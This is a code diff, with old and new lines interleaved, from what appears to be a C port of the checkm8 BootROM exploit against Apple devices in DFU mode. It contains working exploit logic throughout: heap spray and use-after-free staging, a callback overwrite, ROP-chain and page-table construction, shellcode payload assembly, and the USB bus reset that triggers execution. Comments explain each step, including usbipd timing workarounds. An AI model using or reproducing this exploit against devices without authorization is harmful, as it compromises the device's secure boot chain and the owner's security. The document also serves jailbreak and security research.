* send_dfu_finalize -- Finalize the DFU download matching gaster: * send_dfu_finalize -- Finalize the DFU download matching gaster exactly:
* *
* 1. Send DFU_FILE_SUFFIX_LEN (16) zero bytes via DFU_DNLOAD wValue=0 * 1. Send DFU_FILE_SUFFIX_LEN (16) zero bytes via DFU_DNLOAD wValue=0
* (send_usb_control_request_no_data allocates zeroed buffer) * 2. Send zero-length DFU_DNLOAD wValue=0 → device enters MANIFEST-SYNC
* 2. Send zero-length DFU_DNLOAD wValue=0 * 3. DFU_GETSTATUS × 3 → device transitions through MANIFEST states
* 3. Check status: expect MANIFEST_SYNC, MANIFEST, MANIFEST_WAIT_RESET * (on usbipd these timeout but the device processes the transitions)
* 4. libusb_reset_device → sends USB bus reset; device in MANIFEST-WAIT-RESET
* exits, fires patched dfu_handle_bus_reset callback → shellcode → PWND
*
* The USB bus reset is the TRIGGER that fires the checkm8 callback, not the
* zero-length DFU_DNLOAD. The zero-length DFU_DNLOAD just puts DFU into
* MANIFEST-WAIT-RESET state so it's ready to act on the bus reset.
*
* WARNING: On usbipd, libusb_reset_device MAY cause the device to reboot
* out of DFU if the shellcode hasn't patched dfu_handle_bus_reset yet.
* This is acceptable -- the retry loop in checkm8_exploit will reconnect.
*/ */
static int send_dfu_finalize(libusb_device_handle *usb) static int send_dfu_finalize(libusb_device_handle *usb)
{ {
uint8_t suffix[DFU_FILE_SUFFIX_LEN]; uint8_t suffix[DFU_FILE_SUFFIX_LEN];
dfu_status_t st;
int ret; int ret;
/* Step 1: 16 zero bytes as DFU_DNLOAD, wValue=0, wIndex=0 */ /* Step 1: 16 zero bytes as DFU_DNLOAD (DFU file suffix). */
memset(suffix, 0, sizeof(suffix)); memset(suffix, 0, sizeof(suffix));
ret = usb_ctrl_transfer(usb, 0x21, DFU_REQ_DNLOAD, 0, 0, ret = usb_ctrl_transfer_raw(usb, 0x21, DFU_REQ_DNLOAD, 0, 0,
suffix, DFU_FILE_SUFFIX_LEN, USB_TIMEOUT_MS); suffix, DFU_FILE_SUFFIX_LEN, USB_TIMEOUT_MS);
if (ret < 0) { log_info("send_dfu_finalize: 16-byte suffix ret=%d (%s)",
log_debug("send_dfu_finalize: suffix send failed: %s", ret, ret < 0 ? libusb_strerror(ret) : "ok");
libusb_strerror(ret));
}
/* Step 2: Zero-length DFU_DNLOAD, wValue=0, wIndex=0 */ /*
ret = usb_ctrl_transfer_no_data(usb, 0x21, DFU_REQ_DNLOAD, * Step 2: Zero-length DFU_DNLOAD -- triggers dfuMANIFEST-SYNC entry.
0, 0, USB_TIMEOUT_MS); * On usbipd STATUS ACK is dropped (TIMEOUT) but the device transitions.
if (ret < 0) { */
log_debug("send_dfu_finalize: zero-length send failed: %s", ret = usb_ctrl_transfer_no_data_raw(usb, 0x21, DFU_REQ_DNLOAD,
libusb_strerror(ret)); 0, 0, USB_TIMEOUT_MS);
} log_info("send_dfu_finalize: zero-length DNLOAD ret=%d (%s)",
ret, ret < 0 ? libusb_strerror(ret) : "ok");
/* Step 3: Three status checks (MANIFEST_SYNC, MANIFEST, WAIT_RESET) */ /*
if (dfu_get_status(usb, &st) == 0) { * Step 3: DFU_GETSTATUS × 3 to walk through MANIFEST states:
log_debug("send_dfu_finalize: status1 state=0x%02X", st.bState); * MANIFEST-SYNC → MANIFEST → MANIFEST-WAIT-RESET
} * On usbipd responses are dropped (TIMEOUT) but the device processes
if (dfu_get_status(usb, &st) == 0) { * the state transitions when it receives the SETUP packets.
log_debug("send_dfu_finalize: status2 state=0x%02X", st.bState); * Matches gaster's three dfu_check_status calls.
} */
if (dfu_get_status(usb, &st) == 0) { dfu_getstatus_quick(usb); /* MANIFEST-SYNC → MANIFEST */
log_debug("send_dfu_finalize: status3 state=0x%02X", st.bState); dfu_getstatus_quick(usb); /* MANIFEST (callback fires) */
} dfu_getstatus_quick(usb); /* MANIFEST-WAIT-RESET */
/*
* Step 4: USB bus reset -- gaster's reset_usb_handle(handle).
* This is what triggers the patched dfu_handle_bus_reset callback:
* the device exits dfuMANIFEST-WAIT-RESET, the callback fires,
* shellcode runs, patches gUSBSerialNumber with PWND marker, and
* the device stays in DFU (instead of rebooting).
*
* On usbipd this MAY cause the device to reboot out of DFU if we're
* not actually in MANIFEST-WAIT-RESET. The caller handles this by
* closing the handle, waiting for re-enumeration, and checking PWND.
*/
log_info("send_dfu_finalize: USB bus reset (libusb_reset_device)...");
ret = libusb_reset_device(usb);
log_info("send_dfu_finalize: libusb_reset_device ret=%d (%s)",
ret, ret < 0 ? libusb_strerror(ret) : "ok");
return 0; return 0;
} }
@ -197,12 +272,14 @@ int checkm8_stage_patch(exploit_ctx_t *ctx)
{ {
libusb_device_handle *usb; libusb_device_handle *usb;
const chip_info_t *chip; const chip_info_t *chip;
uint8_t iserial_idx;
if (!ctx || !ctx->dev || !ctx->chip) if (!ctx || !ctx->dev || !ctx->chip)
return -1; return -1;
usb = ctx->dev->usb; usb = ctx->dev->usb;
chip = ctx->chip; chip = ctx->chip;
iserial_idx = ctx->dev->iserial_index ? ctx->dev->iserial_index : 3;
log_info("checkm8: stage 4/4 -- overwrite with payload"); log_info("checkm8: stage 4/4 -- overwrite with payload");
/* Assemble the payload if not already done */ /* Assemble the payload if not already done */
@ -216,10 +293,21 @@ int checkm8_stage_patch(exploit_ctx_t *ctx)
/* /*
* Step 1: Build and send the callback overwrite. * Step 1: Build and send the callback overwrite.
* *
* TLBI chips need one last STALL/leak priming round immediately
* before the overwrite, matching gaster's A9X/A10/A11 path.
*
* Gaster sends the overwrite via bmRequestType=2, bRequest=3, * Gaster sends the overwrite via bmRequestType=2, bRequest=3,
* wValue=0, wIndex=0x80 and expects a STALL response. * wValue=0, wIndex=0x80 and expects a STALL response.
* No status clearing or delays between overwrite and payload. * No status clearing or delays between overwrite and payload.
*/ */
if (CPID_HAS_TLBI(chip)) {
if (!checkm8_usb_request_stall(usb) ||
!checkm8_usb_request_leak(usb, iserial_idx)) {
log_error("checkm8_stage_patch: pre-overwrite stall/leak failed");
return -1;
}
}
if (CPID_IS_ARMV7(chip->cpid)) { if (CPID_IS_ARMV7(chip->cpid)) {
dfu_callback_armv7_t cb; dfu_callback_armv7_t cb;
build_overwrite_armv7(&cb, chip); build_overwrite_armv7(&cb, chip);
@ -233,10 +321,9 @@ int checkm8_stage_patch(exploit_ctx_t *ctx)
} }
/* /*
* Step 2: Send the payload (header + shellcode) in * Step 2: Send the payload in DFU_MAX_TRANSFER_SZ chunks via
* DFU_MAX_TRANSFER_SZ chunks via DFU_DNLOAD with wValue=0. * DFU_DNLOAD with wValue=0. Gaster sends payload immediately
* Gaster sends payload immediately after overwrite STALL -- * after overwrite STALL -- no dfu_clr_status, no delay.
* no dfu_clr_status, no delay.
*/ */
if (send_payload_chunks(usb, ctx->payload_buf, if (send_payload_chunks(usb, ctx->payload_buf,
ctx->payload_len) != 0) { ctx->payload_len) != 0) {
@ -245,13 +332,33 @@ int checkm8_stage_patch(exploit_ctx_t *ctx)
} }
/* /*
* Step 3: Finalize -- 16-byte suffix, zero-length DNLOAD, * Step 3: Finalize the DFU download.
* then three status checks (MANIFEST_SYNC -> MANIFEST -> *
* MANIFEST_WAIT_RESET), exactly as gaster does. * Gaster sends:
* (a) 16-byte DFU file suffix (all zeros)
* (b) zero-length DFU_DNLOAD --> triggers dfuMANIFEST-SYNC
* (c) three DFU_GETSTATUS polls to walk through
* MANIFEST_SYNC -> MANIFEST -> MANIFEST_WAIT_RESET
*
* The zero-length DFU_DNLOAD (b) is the critical step: it
* transitions the DFU state machine into MANIFEST, which causes
* the device to process its pending IO request queue. That
* queue still contains the UAF'd io_request from stage 2 whose
* callback we overwrote in this stage. The callback fires here:
* nop_gadget -> next=insecure_memory_base -> ROP chain
* -> shellcode -> patches gUSBSerialNumber with PWND marker
* -> patches BootROM bypass at patch_addr
* -> installs checkm8 request handler
*
* Errors are ignored (usbipd timeouts are expected once the
* shellcode has replaced dfu_handle_request).
*/ */
send_dfu_finalize(usb); send_dfu_finalize(usb);
/* Brief settle delay (the finalize already sleeps 2s for diagnostics). */
usleep(100000); /* 100 ms */
ctx->phase = EXPLOIT_PHASE_PATCH; ctx->phase = EXPLOIT_PHASE_PATCH;
log_info("checkm8: stage 4 complete -- payload delivered"); log_info("checkm8: stage 4 complete -- payload delivered, finalize sent");
return 0; return 0;
} }

View file

@ -1,5 +1,6 @@
/* checkm8_payload.c -- Payload assembly for checkm8 exploit */ /* checkm8_payload.c -- Payload assembly for checkm8 exploit */
#include <stddef.h>
#include <stdlib.h> #include <stdlib.h>
#include <string.h> #include <string.h>
@ -8,164 +9,370 @@
#include "device/chip_db.h" #include "device/chip_db.h"
#include "util/log.h" #include "util/log.h"
/* Shellcode binary data (real bytes from ipwndfu) */ #include "payload/gaster_payloads.h"
#include "payload/shellcode.h"
/* ------------------------------------------------------------------ */ #define ARM_16K_TT_L2_SZ 0x2000000ULL
/* Payload header builders */ #define MAX_BLOCK_SZ 0x50
/* ------------------------------------------------------------------ */
/* typedef struct {
* build_hdr_a9 -- Populate an A9-class payload header from chip_info. uint64_t func;
* Used for CPID 0x8950, 0x8955, 0x8947, 0x8000, 0x8003. uint64_t arg;
*/ } callback_t;
static void build_hdr_a9(payload_hdr_a9_t *hdr, const chip_info_t *chip)
typedef struct {
char pwnd[16];
uint64_t payload_dest;
uint64_t dfu_handle_bus_reset;
uint64_t dfu_handle_request;
uint64_t payload_off;
uint64_t payload_sz;
uint64_t memcpy_addr;
uint64_t gUSBSerialNumber;
uint64_t usb_create_string_descriptor;
uint64_t usb_serial_number_string_descriptor;
uint64_t ttbr0_vrom_addr;
uint64_t patch_addr;
} payload_a9_t;
typedef struct {
char pwnd[16];
uint64_t payload_dest;
uint64_t dfu_handle_bus_reset;
uint64_t dfu_handle_request;
uint64_t payload_off;
uint64_t payload_sz;
uint64_t memcpy_addr;
uint64_t gUSBSerialNumber;
uint64_t usb_create_string_descriptor;
uint64_t usb_serial_number_string_descriptor;
uint64_t patch_addr;
} payload_notA9_t;
typedef struct {
char pwnd[16];
uint32_t payload_dest;
uint32_t dfu_handle_bus_reset;
uint32_t dfu_handle_request;
uint32_t payload_off;
uint32_t payload_sz;
uint32_t memcpy_addr;
uint32_t gUSBSerialNumber;
uint32_t usb_create_string_descriptor;
uint32_t usb_serial_number_string_descriptor;
} payload_notA9_armv7_t;
typedef struct {
uint64_t handle_interface_request;
uint64_t insecure_memory_base;
uint64_t exec_magic;
uint64_t done_magic;
uint64_t memc_magic;
uint64_t memcpy_addr;
uint64_t usb_core_do_transfer;
} handle_checkm8_request_t;
typedef struct {
uint32_t handle_interface_request;
uint32_t insecure_memory_base;
uint32_t exec_magic;
uint32_t done_magic;
uint32_t memc_magic;
uint32_t memcpy_addr;
uint32_t usb_core_do_transfer;
} handle_checkm8_request_armv7_t;
static int chip_uses_payload_a9(const chip_info_t *chip)
{ {
memset(hdr, 0, sizeof(*hdr)); return chip->cpid == 0x8000 || chip->cpid == 0x8003;
hdr->insecure_memory_base = chip->insecure_memory_base;
hdr->patch_addr = chip->patch_addr;
hdr->memcpy_addr = chip->memcpy_addr;
hdr->aes_crypto_cmd = chip->aes_crypto_cmd;
hdr->boot_tramp_end = chip->boot_tramp_end;
hdr->gUSBSerialNumber = chip->gUSBSerialNumber;
hdr->dfu_handle_request = chip->dfu_handle_request;
hdr->usb_core_do_transfer = chip->usb_core_do_transfer;
hdr->dfu_handle_bus_reset = chip->dfu_handle_bus_reset;
hdr->handle_interface_request = chip->handle_interface_request;
hdr->usb_create_string_descriptor = chip->usb_create_string_descriptor;
hdr->usb_serial_number_string_descriptor =
chip->usb_serial_number_string_descriptor;
hdr->ttbr0_addr = chip->ttbr0_addr;
hdr->ttbr0_vrom_off = chip->ttbr0_vrom_off;
} }
/* static int chip_uses_payload_armv7(const chip_info_t *chip)
* build_hdr_notA9 -- Populate a not-A9 (A10+) payload header.
* Used for ARM64 chips with ROP gadgets (0x8960, 0x7001, 0x7000,
* 0x8001, 0x8010, 0x8011, 0x8015, 0x8012).
*/
static void build_hdr_notA9(payload_hdr_notA9_t *hdr,
const chip_info_t *chip)
{ {
memset(hdr, 0, sizeof(*hdr)); return CPID_IS_ARMV7(chip->cpid);
hdr->insecure_memory_base = chip->insecure_memory_base;
hdr->patch_addr = chip->patch_addr;
hdr->memcpy_addr = chip->memcpy_addr;
hdr->aes_crypto_cmd = chip->aes_crypto_cmd;
hdr->boot_tramp_end = chip->boot_tramp_end;
hdr->gUSBSerialNumber = chip->gUSBSerialNumber;
hdr->dfu_handle_request = chip->dfu_handle_request;
hdr->usb_core_do_transfer = chip->usb_core_do_transfer;
hdr->dfu_handle_bus_reset = chip->dfu_handle_bus_reset;
hdr->handle_interface_request = chip->handle_interface_request;
hdr->usb_create_string_descriptor = chip->usb_create_string_descriptor;
hdr->usb_serial_number_string_descriptor =
chip->usb_serial_number_string_descriptor;
hdr->ttbr0_addr = chip->ttbr0_addr;
hdr->tlbi = chip->tlbi;
hdr->nop_gadget = chip->nop_gadget;
hdr->ret_gadget = chip->ret_gadget;
hdr->func_gadget = chip->func_gadget;
hdr->write_ttbr0 = chip->write_ttbr0;
hdr->ttbr0_vrom_off = chip->ttbr0_vrom_off;
hdr->ttbr0_sram_off = chip->ttbr0_sram_off;
} }
/* static size_t usb_rop_callbacks(uint8_t *buf,
* build_hdr_armv7 -- Populate an ARMv7 payload header. uint64_t addr,
* Used for CPID 0x7002, 0x8002, 0x8004. const chip_info_t *chip,
*/ const callback_t *callbacks,
static void build_hdr_armv7(payload_hdr_armv7_t *hdr, size_t callback_cnt)
const chip_info_t *chip)
{ {
memset(hdr, 0, sizeof(*hdr)); uint8_t block_0[MAX_BLOCK_SZ];
uint8_t block_1[MAX_BLOCK_SZ];
size_t i;
size_t j;
size_t sz = 0;
size_t block_0_sz;
size_t block_1_sz;
uint64_t reg;
hdr->insecure_memory_base = (uint32_t)chip->insecure_memory_base; for (i = 0; i < callback_cnt; i += 5) {
hdr->payload_dest = (uint32_t)chip->payload_dest_armv7; block_0_sz = 0;
hdr->memcpy_addr = (uint32_t)chip->memcpy_addr; block_1_sz = 0;
hdr->aes_crypto_cmd = (uint32_t)chip->aes_crypto_cmd;
hdr->gUSBSerialNumber = (uint32_t)chip->gUSBSerialNumber; for (j = 0; j < 5; ++j) {
hdr->dfu_handle_request = (uint32_t)chip->dfu_handle_request; addr += MAX_BLOCK_SZ / 5;
hdr->usb_core_do_transfer = (uint32_t)chip->usb_core_do_transfer; if (j == 4)
hdr->dfu_handle_bus_reset = (uint32_t)chip->dfu_handle_bus_reset; addr += MAX_BLOCK_SZ;
hdr->handle_interface_request = (uint32_t)chip->handle_interface_request;
hdr->usb_create_string_descriptor = (uint32_t)chip->usb_create_string_descriptor; if (i + j < callback_cnt - 1) {
hdr->usb_serial_number_string_descriptor = reg = chip->func_gadget;
(uint32_t)chip->usb_serial_number_string_descriptor; memcpy(block_0 + block_0_sz, &reg, sizeof(reg));
block_0_sz += sizeof(reg);
reg = addr;
memcpy(block_0 + block_0_sz, &reg, sizeof(reg));
block_0_sz += sizeof(reg);
reg = callbacks[i + j].arg;
memcpy(block_1 + block_1_sz, &reg, sizeof(reg));
block_1_sz += sizeof(reg);
reg = callbacks[i + j].func;
memcpy(block_1 + block_1_sz, &reg, sizeof(reg));
block_1_sz += sizeof(reg);
} else if (i + j == callback_cnt - 1) {
reg = chip->func_gadget;
memcpy(block_0 + block_0_sz, &reg, sizeof(reg));
block_0_sz += sizeof(reg);
reg = 0;
memcpy(block_0 + block_0_sz, &reg, sizeof(reg));
block_0_sz += sizeof(reg);
reg = callbacks[i + j].arg;
memcpy(block_1 + block_1_sz, &reg, sizeof(reg));
block_1_sz += sizeof(reg);
reg = callbacks[i + j].func;
memcpy(block_1 + block_1_sz, &reg, sizeof(reg));
block_1_sz += sizeof(reg);
} else {
reg = 0;
memcpy(block_0 + block_0_sz, &reg, sizeof(reg));
block_0_sz += sizeof(reg);
memcpy(block_0 + block_0_sz, &reg, sizeof(reg));
block_0_sz += sizeof(reg);
}
}
memcpy(buf + sz, block_0, block_0_sz);
sz += block_0_sz;
memcpy(buf + sz, block_1, block_1_sz);
sz += block_1_sz;
}
return sz;
} }
/* ------------------------------------------------------------------ */
/* assemble_payload */
/* ------------------------------------------------------------------ */
int assemble_payload(exploit_ctx_t *ctx) int assemble_payload(exploit_ctx_t *ctx)
{ {
const chip_info_t *chip; const chip_info_t *chip;
const uint8_t *main_blob;
const uint8_t *handler_blob;
size_t main_blob_len;
size_t handler_blob_len;
size_t main_tail_len;
size_t handler_tail_len;
size_t main_code_len;
size_t handler_code_len;
size_t alloc_len;
size_t offset = 0;
uint8_t *buf; uint8_t *buf;
size_t hdr_len;
const uint8_t *sc;
size_t sc_len;
size_t total;
if (!ctx || !ctx->chip) if (!ctx || !ctx->chip)
return -1; return -1;
chip = ctx->chip; chip = ctx->chip;
/* if (chip_uses_payload_armv7(chip)) {
* Select payload variant based on chip type: main_blob = payload_notA9_armv7_bin;
* - ARMv7 (0x7002, 0x8002, 0x8004, 0x8950, 0x8955): armv7 header + armv7 shellcode main_blob_len = payload_notA9_armv7_bin_len;
* - legacy 64-bit (0x8947, 0x8000, 0x8003): a9 header + arm64 shellcode main_tail_len = sizeof(payload_notA9_armv7_t);
* - Everything else (A10+): notA9 header + arm64 shellcode handler_blob = payload_handle_checkm8_request_armv7_bin;
*/ handler_blob_len = payload_handle_checkm8_request_armv7_bin_len;
if (CPID_IS_ARMV7(chip->cpid)) { handler_tail_len = sizeof(handle_checkm8_request_armv7_t);
hdr_len = sizeof(payload_hdr_armv7_t); } else if (chip_uses_payload_a9(chip)) {
sc = checkm8_shellcode_armv7; main_blob = payload_A9_bin;
sc_len = checkm8_shellcode_armv7_len; main_blob_len = payload_A9_bin_len;
log_debug("assemble_payload: ARMv7 variant (hdr=%zu, sc=%zu)", main_tail_len = sizeof(payload_a9_t);
hdr_len, sc_len); handler_blob = payload_handle_checkm8_request_bin;
} else if (CPID_IS_LEGACY_64(chip->cpid) || handler_blob_len = payload_handle_checkm8_request_bin_len;
chip->cpid == 0x8000 || chip->cpid == 0x8003) { handler_tail_len = sizeof(handle_checkm8_request_t);
hdr_len = sizeof(payload_hdr_a9_t);
sc = checkm8_shellcode_arm64;
sc_len = checkm8_shellcode_arm64_len;
log_debug("assemble_payload: legacy-64 variant (hdr=%zu, sc=%zu)",
hdr_len, sc_len);
} else { } else {
hdr_len = sizeof(payload_hdr_notA9_t); main_blob = payload_notA9_bin;
sc = checkm8_shellcode_arm64; main_blob_len = payload_notA9_bin_len;
sc_len = checkm8_shellcode_arm64_len; main_tail_len = sizeof(payload_notA9_t);
log_debug("assemble_payload: notA9 variant (hdr=%zu, sc=%zu)", handler_blob = payload_handle_checkm8_request_bin;
hdr_len, sc_len); handler_blob_len = payload_handle_checkm8_request_bin_len;
handler_tail_len = sizeof(handle_checkm8_request_t);
} }
total = hdr_len + sc_len; if (main_blob_len <= main_tail_len || handler_blob_len <= handler_tail_len) {
buf = calloc(1, total); log_error("assemble_payload: embedded payload blobs are truncated");
if (!buf) {
log_error("assemble_payload: calloc(%zu) failed", total);
return -1; return -1;
} }
/* Build the chip-specific header at the start of the buffer */ main_code_len = main_blob_len - main_tail_len;
if (CPID_IS_ARMV7(chip->cpid)) { handler_code_len = handler_blob_len - handler_tail_len;
build_hdr_armv7((payload_hdr_armv7_t *)buf, chip); alloc_len = main_code_len + main_tail_len + handler_code_len + handler_tail_len;
} else if (CPID_IS_LEGACY_64(chip->cpid) ||
chip->cpid == 0x8000 || chip->cpid == 0x8003) { if (CPID_HAS_TLBI(chip))
build_hdr_a9((payload_hdr_a9_t *)buf, chip); alloc_len += DFU_MAX_TRANSFER_SZ;
} else {
build_hdr_notA9((payload_hdr_notA9_t *)buf, chip); buf = calloc(1, alloc_len);
if (!buf) {
log_error("assemble_payload: calloc(%zu) failed", alloc_len);
return -1;
} }
/* Shellcode immediately follows the header */ if (CPID_HAS_TLBI(chip)) {
memcpy(buf + hdr_len, sc, sc_len); callback_t callbacks[] = {
{ chip->write_ttbr0, chip->insecure_memory_base },
{ chip->tlbi, 0 },
{
chip->insecure_memory_base + ARM_16K_TT_L2_SZ +
chip->ttbr0_sram_off + 2 * sizeof(uint64_t),
0
},
{ chip->write_ttbr0, chip->ttbr0_addr },
{ chip->tlbi, 0 },
{ chip->ret_gadget, 0 }
};
uint64_t reg;
reg = 0x1000006A5ULL;
memcpy(buf + chip->ttbr0_vrom_off, &reg, sizeof(reg));
reg = 0x60000100000625ULL;
memcpy(buf + chip->ttbr0_vrom_off + sizeof(reg), &reg, sizeof(reg));
reg = 0x60000180000625ULL;
memcpy(buf + chip->ttbr0_sram_off, &reg, sizeof(reg));
reg = 0x1800006A5ULL;
memcpy(buf + chip->ttbr0_sram_off + sizeof(reg), &reg, sizeof(reg));
usb_rop_callbacks(buf + offsetof(dfu_callback_t, callback),
chip->insecure_memory_base, chip, callbacks,
sizeof(callbacks) / sizeof(callbacks[0]));
offset = chip->ttbr0_sram_off + 2 * sizeof(uint64_t);
}
memcpy(buf + offset, main_blob, main_code_len);
offset += main_code_len;
if (chip_uses_payload_armv7(chip)) {
payload_notA9_armv7_t main_tail;
handle_checkm8_request_armv7_t handler_tail;
memset(&main_tail, 0, sizeof(main_tail));
memcpy(main_tail.pwnd, GASTER_PWND_TAG, strlen(GASTER_PWND_TAG));
main_tail.payload_dest = (uint32_t)chip->payload_dest_armv7;
main_tail.dfu_handle_bus_reset = (uint32_t)chip->dfu_handle_bus_reset;
main_tail.dfu_handle_request = (uint32_t)chip->dfu_handle_request;
main_tail.payload_off = (uint32_t)(main_code_len + sizeof(main_tail));
main_tail.payload_sz =
(uint32_t)(handler_code_len + sizeof(handler_tail));
main_tail.memcpy_addr = (uint32_t)chip->memcpy_addr;
main_tail.gUSBSerialNumber = (uint32_t)chip->gUSBSerialNumber;
main_tail.usb_create_string_descriptor =
(uint32_t)chip->usb_create_string_descriptor;
main_tail.usb_serial_number_string_descriptor =
(uint32_t)chip->usb_serial_number_string_descriptor;
memcpy(buf + offset, &main_tail, sizeof(main_tail));
offset += sizeof(main_tail);
memcpy(buf + offset, handler_blob, handler_code_len);
offset += handler_code_len;
memset(&handler_tail, 0, sizeof(handler_tail));
handler_tail.handle_interface_request =
(uint32_t)chip->handle_interface_request;
handler_tail.insecure_memory_base =
(uint32_t)chip->insecure_memory_base;
handler_tail.exec_magic = (uint32_t)EXEC_MAGIC;
handler_tail.done_magic = (uint32_t)DONE_MAGIC;
handler_tail.memc_magic = (uint32_t)MEMC_MAGIC;
handler_tail.memcpy_addr = (uint32_t)chip->memcpy_addr;
handler_tail.usb_core_do_transfer =
(uint32_t)chip->usb_core_do_transfer;
memcpy(buf + offset, &handler_tail, sizeof(handler_tail));
offset += sizeof(handler_tail);
} else if (chip_uses_payload_a9(chip)) {
payload_a9_t main_tail;
handle_checkm8_request_t handler_tail;
memset(&main_tail, 0, sizeof(main_tail));
memcpy(main_tail.pwnd, GASTER_PWND_TAG, strlen(GASTER_PWND_TAG));
main_tail.payload_dest =
chip->boot_tramp_end - handler_code_len - sizeof(handler_tail);
main_tail.dfu_handle_bus_reset = chip->dfu_handle_bus_reset;
main_tail.dfu_handle_request = chip->dfu_handle_request;
main_tail.payload_off = main_code_len + sizeof(main_tail);
main_tail.payload_sz = handler_code_len + sizeof(handler_tail);
main_tail.memcpy_addr = chip->memcpy_addr;
main_tail.gUSBSerialNumber = chip->gUSBSerialNumber;
main_tail.usb_create_string_descriptor =
chip->usb_create_string_descriptor;
main_tail.usb_serial_number_string_descriptor =
chip->usb_serial_number_string_descriptor;
main_tail.ttbr0_vrom_addr = chip->ttbr0_addr + chip->ttbr0_vrom_off;
main_tail.patch_addr = chip->patch_addr;
memcpy(buf + offset, &main_tail, sizeof(main_tail));
offset += sizeof(main_tail);
memcpy(buf + offset, handler_blob, handler_code_len);
offset += handler_code_len;
memset(&handler_tail, 0, sizeof(handler_tail));
handler_tail.handle_interface_request =
chip->handle_interface_request;
handler_tail.insecure_memory_base = chip->insecure_memory_base;
handler_tail.exec_magic = EXEC_MAGIC;
handler_tail.done_magic = DONE_MAGIC;
handler_tail.memc_magic = MEMC_MAGIC;
handler_tail.memcpy_addr = chip->memcpy_addr;
handler_tail.usb_core_do_transfer = chip->usb_core_do_transfer;
memcpy(buf + offset, &handler_tail, sizeof(handler_tail));
offset += sizeof(handler_tail);
} else {
payload_notA9_t main_tail;
handle_checkm8_request_t handler_tail;
memset(&main_tail, 0, sizeof(main_tail));
memcpy(main_tail.pwnd, GASTER_PWND_TAG, strlen(GASTER_PWND_TAG));
main_tail.payload_dest =
chip->boot_tramp_end - handler_code_len - sizeof(handler_tail);
main_tail.dfu_handle_bus_reset = chip->dfu_handle_bus_reset;
main_tail.dfu_handle_request = chip->dfu_handle_request;
main_tail.payload_off = main_code_len + sizeof(main_tail);
main_tail.payload_sz = handler_code_len + sizeof(handler_tail);
main_tail.memcpy_addr = chip->memcpy_addr;
main_tail.gUSBSerialNumber = chip->gUSBSerialNumber;
main_tail.usb_create_string_descriptor =
chip->usb_create_string_descriptor;
main_tail.usb_serial_number_string_descriptor =
chip->usb_serial_number_string_descriptor;
main_tail.patch_addr = chip->patch_addr;
if (CPID_HAS_TLBI(chip))
main_tail.patch_addr += ARM_16K_TT_L2_SZ;
memcpy(buf + offset, &main_tail, sizeof(main_tail));
offset += sizeof(main_tail);
memcpy(buf + offset, handler_blob, handler_code_len);
offset += handler_code_len;
memset(&handler_tail, 0, sizeof(handler_tail));
handler_tail.handle_interface_request =
chip->handle_interface_request;
handler_tail.insecure_memory_base = chip->insecure_memory_base;
handler_tail.exec_magic = EXEC_MAGIC;
handler_tail.done_magic = DONE_MAGIC;
handler_tail.memc_magic = MEMC_MAGIC;
handler_tail.memcpy_addr = chip->memcpy_addr;
handler_tail.usb_core_do_transfer = chip->usb_core_do_transfer;
memcpy(buf + offset, &handler_tail, sizeof(handler_tail));
offset += sizeof(handler_tail);
}
ctx->payload_buf = buf; ctx->payload_buf = buf;
ctx->payload_len = total; ctx->payload_len = offset;
log_info("assemble_payload: %zu bytes (hdr=%zu + shellcode=%zu) " log_info("assemble_payload: %zu bytes for CPID 0x%04X "
"for CPID 0x%04X", "(main=%zu + tail=%zu + handler=%zu + handler_tail=%zu)",
total, hdr_len, sc_len, chip->cpid); offset, chip->cpid, main_code_len, main_tail_len,
handler_code_len, handler_tail_len);
return 0; return 0;
} }

View file

@ -6,6 +6,7 @@
#include <stdlib.h> #include <stdlib.h>
#include <string.h> #include <string.h>
#include <unistd.h>
#include "exploit/exploit.h" #include "exploit/exploit.h"
#include "exploit/checkm8.h" #include "exploit/checkm8.h"
@ -36,8 +37,8 @@ int checkm8_usb_request_stall(libusb_device_handle *usb)
{ {
int ret; int ret;
ret = usb_ctrl_transfer_no_data(usb, 0x02, 0x03, 0, 0x80, ret = usb_ctrl_transfer_no_data_raw(usb, 0x02, 0x03, 0, 0x80,
USB_TIMEOUT_MS); USB_TIMEOUT_MS);
/* PIPE error means STALL -- that is success */ /* PIPE error means STALL -- that is success */
return (ret == LIBUSB_ERROR_PIPE) ? 1 : 0; return (ret == LIBUSB_ERROR_PIPE) ? 1 : 0;
@ -251,15 +252,20 @@ int checkm8_stage_spray(exploit_ctx_t *ctx)
} }
} }
/* Final: DFU_CLR_STATUS with (3*EP0_MAX_PACKET_SZ + 1) bytes */ /* Final: DFU_CLR_STATUS with (3*EP0_MAX_PACKET_SZ + 1) bytes.
{ * Skip if stage 2 already got DFU to dfuIDLE via DFU_ABORT
* (usbipd path): CLR_STATUS from dfuIDLE causes Apple DFU to
* exit DFU mode, which would break the exploit. */
if (!ctx->skip_clrstatus) {
uint16_t clr_len = 3 * EP0_MAX_PACKET_SZ + 1; uint16_t clr_len = 3 * EP0_MAX_PACKET_SZ + 1;
uint8_t *clr_buf = calloc(1, clr_len); uint8_t *clr_buf = calloc(1, clr_len);
if (clr_buf) { if (clr_buf) {
usb_ctrl_transfer(usb, 0x21, DFU_REQ_CLRSTATUS, usb_ctrl_transfer_raw(usb, 0x21, DFU_REQ_CLRSTATUS,
0, 0, clr_buf, clr_len, USB_TIMEOUT_MS); 0, 0, clr_buf, clr_len, USB_TIMEOUT_MS);
free(clr_buf); free(clr_buf);
} }
} else {
log_info("[DFU] stage 3: skip CLR_STATUS (DFU already in dfuIDLE)");
} }
} else { } else {
/* /*
@ -280,6 +286,19 @@ int checkm8_stage_spray(exploit_ctx_t *ctx)
dfu_clr_status(usb); dfu_clr_status(usb);
} }
/*
* On usbipd-win, GET_DESCRIPTOR spray requests are sent with
* very short timeouts (1ms). The device allocates response
* buffers that are only freed after its own internal USB timeout
* fires (~50-200ms per buffer). If stage 4 starts immediately,
* those buffers still occupy the heap and the DFU_DNLOAD
* io_buffer cannot land at insecure_memory_base.
*
* Wait 1 second to ensure all spray buffers are freed by the
* device before stage 4's DFU_DNLOAD allocation.
*/
usleep(1000000); /* 1 s */
ctx->phase = EXPLOIT_PHASE_SPRAY; ctx->phase = EXPLOIT_PHASE_SPRAY;
log_info("checkm8: stage 3 complete -- heap spray done"); log_info("checkm8: stage 3 complete -- heap spray done");
return 0; return 0;

View file

@ -7,19 +7,58 @@
#include <stdlib.h> #include <stdlib.h>
#include <string.h> #include <string.h>
#include <unistd.h> #include <unistd.h>
#include <libusb-1.0/libusb.h>
#include "exploit/exploit.h" #include "exploit/exploit.h"
#include "exploit/checkm8.h" #include "exploit/checkm8.h"
#include "exploit/checkm8_internal.h" #include "exploit/checkm8_internal.h"
#include "exploit/dfu_proto.h" #include "exploit/dfu_proto.h"
